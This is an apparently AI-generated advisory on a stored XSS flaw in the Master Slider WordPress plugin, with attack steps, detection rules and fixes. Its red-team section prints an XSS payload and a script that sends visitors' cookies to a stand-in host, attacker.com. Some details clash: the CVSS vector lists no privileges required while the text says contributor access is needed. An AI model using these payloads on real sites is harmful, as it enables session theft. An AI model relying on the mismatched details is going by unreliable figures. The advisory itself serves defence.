CVE-2025-58025

Executive Summary

CVE-2025-58025 is a Stored Cross-Site Scripting (XSS) vulnerability in the Averta Master Slider WordPress plugin, affecting versions up to and including 3.11.0. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into slider content, which are then stored and executed in the browsers of any user viewing the affected page. The vulnerability stems from improper neutralization of user-supplied input during web page generation. As a WordPress plugin vulnerability, it directly impacts the WordPress ecosystem, not the underlying web server software.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not available via NPM, PyPI, Go, or Ruby ecosystems. The supply chain risk is limited to WordPress site administrators who install or update the plugin from the WordPress repository. No known malicious packages or compromised updates have been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None (but requires authenticated user with contributor role)
• User Interaction: Required (victim must visit the page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The CVSS score of 6.5 reflects a medium severity vulnerability. The requirement for user interaction (victim visiting the page) and the need for an authenticated attacker with contributor privileges slightly reduces the risk, but the potential for stored XSS to affect multiple users and the ease of exploitation make this a significant threat.

Deep Dive & Mechanics

The vulnerability exists in the Master Slider plugin's handling of slider content. The plugin allows users to create and manage sliders with various content elements (text, images, HTML). The input sanitization and output encoding are insufficient, allowing an attacker to inject malicious JavaScript code into fields such as slide titles, descriptions, or custom HTML blocks.

Attack Flow:

1. An attacker with contributor-level access (or higher) logs into the WordPress admin panel.
2. The attacker creates or edits a slider and injects a malicious payload into a text field (e.g., slide title).
3. The plugin stores the payload in the WordPress database without proper sanitization.
4. When any user (including administrators) views a page containing the compromised slider, the malicious script executes in their browser.
5. The script can steal session cookies, redirect users, deface the page, or perform other malicious actions.

Root Cause: The plugin uses functions like esc_attr() or esc_html() inconsistently, or fails to use them at all for certain output contexts. The stored data is not sanitized on input and not properly escaped on output.

Vulnerable vs. Patched Code

Since no official patch is available, the following demonstrates the vulnerable pattern and a potential fix.

Vulnerable Code (example from slider output):

// Vulnerable: Direct output without escaping
echo '<div class="ms-slide-title">' . $slide_title . '</div>';

Patched Code (recommended fix):

// Patched: Properly escape output
echo '<div class="ms-slide-title">' . esc_html( $slide_title ) . '</div>';

Vulnerable Code (example from admin input handling):

// Vulnerable: No sanitization on input
update_post_meta( $post_id, 'ms_slide_title', $_POST['slide_title'] );

Patched Code (recommended fix):

// Patched: Sanitize input
$sanitized_title = sanitize_text_field( $_POST['slide_title'] );
update_post_meta( $post_id, 'ms_slide_title', $sanitized_title );

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress installation with Master Slider plugin version <= 3.11.0
• Attacker account with contributor role or higher
• Target user must visit the page containing the malicious slider

Exploitation Steps:

1. Login to WordPress admin as a contributor.
2. Navigate to Master Slider > Add New.
3. Create a new slide and inject the following payload into the slide title field:

   <img src=x onerror=alert('XSS')>
   

4. Save the slider and publish it to a page or post.
5. Send the link to the victim or wait for an administrator to visit the page.
6. Observe the JavaScript execution (e.g., alert box).

Advanced Payload (cookie theft):

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Note: No public exploit code or Nuclei template is available at this time.

Blue Team

Detection Steps:

1. Monitor WordPress admin logs for unusual slider creation or modification activity.
2. Audit all existing sliders for suspicious content, especially in title and description fields.
3. Check for unexpected JavaScript in slider content using database queries:

   SELECT * FROM wp_postmeta WHERE meta_key LIKE 'ms_%' AND meta_value LIKE '%<script%';
   

4. Review web server logs for requests containing XSS patterns in slider-related parameters.

Mitigation:

• Immediately restrict contributor-level access if not required.
• Implement a Web Application Firewall (WAF) rule to block common XSS payloads.
• Apply input validation and output encoding manually if patching is not possible.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Modified slider data in wp_postmeta table with meta_key starting with ms_
• Presence of <script> tags or event handlers (e.g., onerror, onload) in slider content

Network-Based IOCs:

• Outbound HTTP requests to unknown domains from the WordPress server
• Requests containing document.cookie or document.location in slider parameters

Log-Based IOCs:

• WordPress admin log entries showing slider creation/modification by non-admin users
• Web server logs with alert( or onerror= in request parameters

Detection Engineering

YARA Rule

rule CVE_2025_58025_Master_Slider_XSS {
    meta:
        description = "Detects stored XSS payloads in Master Slider plugin content"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-58025"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/i
        $xss4 = /onclick\s*=\s*["']?[^"'\s>]+/i
        $xss5 = /javascript\s*:/i
        $slider_meta = /ms_/
    condition:
        $slider_meta and any of ($xss*)
}

Sigma Rule

title: CVE-2025-58025 Master Slider Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS payloads in Master Slider plugin content
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '/wp-admin/admin-ajax.php'
            - '/wp-admin/post.php'
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'action=ms_slider'
            - 'action=ms_slide'
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in slider content by administrators
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-58025 Master Slider Stored XSS Payload";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=ms_slider"; http_client_body;
    pcre:"/(<script|onerror=|onload=|javascript:)/i";
    sid:10000001;
    rev:1;
    metadata:created_at 2025-04-10, cve CVE-2025-58025;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Master Slider plugin if it is not critical to operations.
2. Restrict user roles to prevent contributors from creating or editing sliders.
3. Audit all existing sliders for malicious content and remove any suspicious entries.

Long-Term Fixes:

1. Apply the official patch when released by Averta.
2. Implement a WordPress security plugin that adds input validation and output encoding.
3. Educate users with contributor roles about the risks of XSS.

Workaround (if patching is not possible):

• Manually edit the plugin files to add esc_html() or wp_kses_post() to all output functions that display slider content.
• Use a Content Security Policy (CSP) header to block inline scripts:

  Header set Content-Security-Policy "script-src 'self';"
  

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.